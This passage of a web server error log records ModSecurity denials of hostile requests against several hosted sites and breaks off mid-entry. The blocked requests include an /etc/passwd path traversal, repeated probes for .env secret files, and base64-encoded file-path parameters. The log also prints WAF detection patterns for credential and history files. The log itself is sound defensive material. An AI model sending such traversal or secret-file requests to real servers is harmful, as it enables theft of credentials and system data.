https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2V2ZW50Ni9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:13:00.710388 2026] [access_compat:error] [pid 531155:tid 531239] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2V2ZW50Ni9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:13:00.711443 2026] [security2:error] [pid 531155:tid 531387] [client 47.128.30.149:52674] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "milestech.com"] [uri "/robots.txt"] [unique_id "ai3yDCmiP80klyS0NnoIuQAAAXA"] [Sat Jun 13 18:13:00.767006 2026] [security2:error] [pid 531155:tid 531375] [client 103.153.183.69:56058] ModSecurity: Warning. Pattern match "%2e.%2e%2e" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1522"] [id "900917"] [msg "temporary CVE-2021-41773 logging rule"] [hostname "smartagrico.com"] [uri "/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"] [unique_id "ai3yDCmiP80klyS0NnoIvAAAAWQ"], referer: https://smartagrico.com/ [Sat Jun 13 18:13:00.767077 2026] [core:error] [pid 531155:tid 531375] [client 103.153.183.69:56058] AH10244: invalid URI path (https://smartagrico.com/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd), referer: https://smartagrico.com/ [Sat Jun 13 18:13:00.800919 2026] [security2:error] [pid 531155:tid 531173] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/app/config/.env"] [unique_id "ai3yDCmiP80klyS0NnoIvgABTBE"] [Sat Jun 13 18:13:00.862010 2026] [security2:error] [pid 531155:tid 531287] [client 103.153.183.69:56066] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/js/app.js"] [unique_id "ai3yDCmiP80klyS0NnoIwQAAAQw"], referer: https://smartagrico.com/ [Sat Jun 13 18:13:00.933823 2026] [security2:error] [pid 531155:tid 531262] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/apps/.env"] [unique_id "ai3yDCmiP80klyS0NnoIxQABFWo"] [Sat Jun 13 18:13:00.941399 2026] [security2:error] [pid 531155:tid 531366] [client 103.153.183.69:56072] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/bundle.js"] [unique_id "ai3yDCmiP80klyS0NnoIxgAAAVs"], referer: https://smartagrico.com/ [Sat Jun 13 18:13:01.067317 2026] [security2:error] [pid 531155:tid 531183] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/apps/config/.env"] [unique_id "ai3yDSmiP80klyS0NnoIzwABKxs"] [Sat Jun 13 18:13:01.114506 2026] [security2:error] [pid 531155:tid 531275] [remote 17.22.237.239:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 239.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yDSmiP80klyS0NnoI0AABRXc"] [Sat Jun 13 18:13:01.142143 2026] [access_compat:error] [pid 531155:tid 531243] [remote 57.141.14.109:38332] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:01.142415 2026] [access_compat:error] [pid 531155:tid 531243] [remote 57.141.14.109:38332] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:01.200035 2026] [security2:error] [pid 531155:tid 531156] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/backend/.env"] [unique_id "ai3yDSmiP80klyS0NnoI2QABNwA"] [Sat Jun 13 18:13:01.223436 2026] [access_compat:error] [pid 531155:tid 531256] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL3N1YnN5c3RlbS9tb3VzZTIvZGV2aWNlL2lk [Sat Jun 13 18:13:01.223754 2026] [access_compat:error] [pid 531155:tid 531256] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL3N1YnN5c3RlbS9tb3VzZTIvZGV2aWNlL2lk [Sat Jun 13 18:13:01.332245 2026] [security2:error] [pid 531155:tid 531195] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/client/.env"] [unique_id "ai3yDSmiP80klyS0NnoI4AABdCc"] [Sat Jun 13 18:13:01.366064 2026] [access_compat:error] [pid 531155:tid 531213] [remote 57.141.14.26:28630] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:01.366420 2026] [access_compat:error] [pid 531155:tid 531213] [remote 57.141.14.26:28630] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:01.388610 2026] [access_compat:error] [pid 531155:tid 531267] [remote 57.141.14.85:22826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:01.388889 2026] [access_compat:error] [pid 531155:tid 531267] [remote 57.141.14.85:22826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:01.465469 2026] [security2:error] [pid 531155:tid 531192] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/clients/.env"] [unique_id "ai3yDSmiP80klyS0NnoI6gABfiQ"] [Sat Jun 13 18:13:01.504459 2026] [access_compat:error] [pid 531155:tid 531165] [remote 57.141.14.33:21185] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:01.504931 2026] [access_compat:error] [pid 531155:tid 531165] [remote 57.141.14.33:21185] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:01.599123 2026] [security2:error] [pid 531155:tid 531257] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/customer/.env"] [unique_id "ai3yDSmiP80klyS0NnoI8QABO2U"] [Sat Jun 13 18:13:01.649588 2026] [security2:error] [pid 531155:tid 531397] [client 103.153.183.69:56098] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/wp-content/themes/wp-emperor12/js/post-like.js"] [unique_id "ai3yDSmiP80klyS0NnoI9AAAAXo"], referer: https://smartagrico.com/ [Sat Jun 13 18:13:01.732015 2026] [security2:error] [pid 531155:tid 531222] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/customers/.env"] [unique_id "ai3yDSmiP80klyS0NnoI-AABbEI"] [Sat Jun 13 18:13:01.737925 2026] [access_compat:error] [pid 531155:tid 531274] [remote 57.141.14.60:56110] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:01.738193 2026] [access_compat:error] [pid 531155:tid 531274] [remote 57.141.14.60:56110] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:01.746242 2026] [access_compat:error] [pid 531155:tid 531186] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvZGV2aWNlL21vdXNlMi9kZXZpY2UvbW91c2UyL2RldmljZS9pZA== [Sat Jun 13 18:13:01.746529 2026] [access_compat:error] [pid 531155:tid 531186] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvZGV2aWNlL21vdXNlMi9kZXZpY2UvbW91c2UyL2RldmljZS9pZA== [Sat Jun 13 18:13:01.925513 2026] [access_compat:error] [pid 531155:tid 531224] [remote 74.7.242.16:49396] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNzQxL2N3ZA== [Sat Jun 13 18:13:01.925869 2026] [access_compat:error] [pid 531155:tid 531224] [remote 74.7.242.16:49396] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNzQxL2N3ZA== [Sat Jun 13 18:13:01.975280 2026] [security2:error] [pid 531155:tid 531407] [client 103.153.183.69:56114] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/assets/js/index.js"] [unique_id "ai3yDSmiP80klyS0NnoJCgAAAYQ"], referer: https://smartagrico.com/ [Sat Jun 13 18:13:02.189290 2026] [security2:error] [pid 531155:tid 531296] [client 103.153.183.69:56122] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/wp-content/themes/wp-emperor12/js/respond.min.js"] [unique_id "ai3yDimiP80klyS0NnoJFQAAARU"], referer: https://smartagrico.com/ [Sat Jun 13 18:13:02.288936 2026] [access_compat:error] [pid 531155:tid 531240] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9kZXZpY2UvZHJpdmVyL0xOWFBXUkJOOjAw [Sat Jun 13 18:13:02.289387 2026] [access_compat:error] [pid 531155:tid 531240] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9kZXZpY2UvZHJpdmVyL0xOWFBXUkJOOjAw [Sat Jun 13 18:13:02.298345 2026] [security2:error] [pid 531155:tid 531249] [remote 17.246.23.231:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 231.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yDimiP80klyS0NnoJGwABYl0"] [Sat Jun 13 18:13:02.304225 2026] [security2:error] [pid 531155:tid 531238] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/administrator/.env"] [unique_id "ai3yDimiP80klyS0NnoJGAABKlI"] [Sat Jun 13 18:13:02.437377 2026] [security2:error] [pid 531155:tid 531205] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/wp/.env"] [unique_id "ai3yDimiP80klyS0NnoJIwABLjE"] [Sat Jun 13 18:13:02.566528 2026] [access_compat:error] [pid 531155:tid 531280] [remote 216.73.216.182:54158] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:02.566967 2026] [access_compat:error] [pid 531155:tid 531280] [remote 216.73.216.182:54158] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:02.573165 2026] [security2:error] [pid 531155:tid 531217] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/wordpress/.env"] [unique_id "ai3yDimiP80klyS0NnoJOQABFj0"] [Sat Jun 13 18:13:02.708335 2026] [security2:error] [pid 531155:tid 531216] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/cms/.env"] [unique_id "ai3yDimiP80klyS0NnoJQwABbjw"] [Sat Jun 13 18:13:02.767016 2026] [access_compat:error] [pid 531155:tid 531244] [remote 57.141.14.38:38827] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:02.767370 2026] [access_compat:error] [pid 531155:tid 531244] [remote 57.141.14.38:38827] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:02.831897 2026] [access_compat:error] [pid 531155:tid 531268] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQxL2lk [Sat Jun 13 18:13:02.832273 2026] [access_compat:error] [pid 531155:tid 531268] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 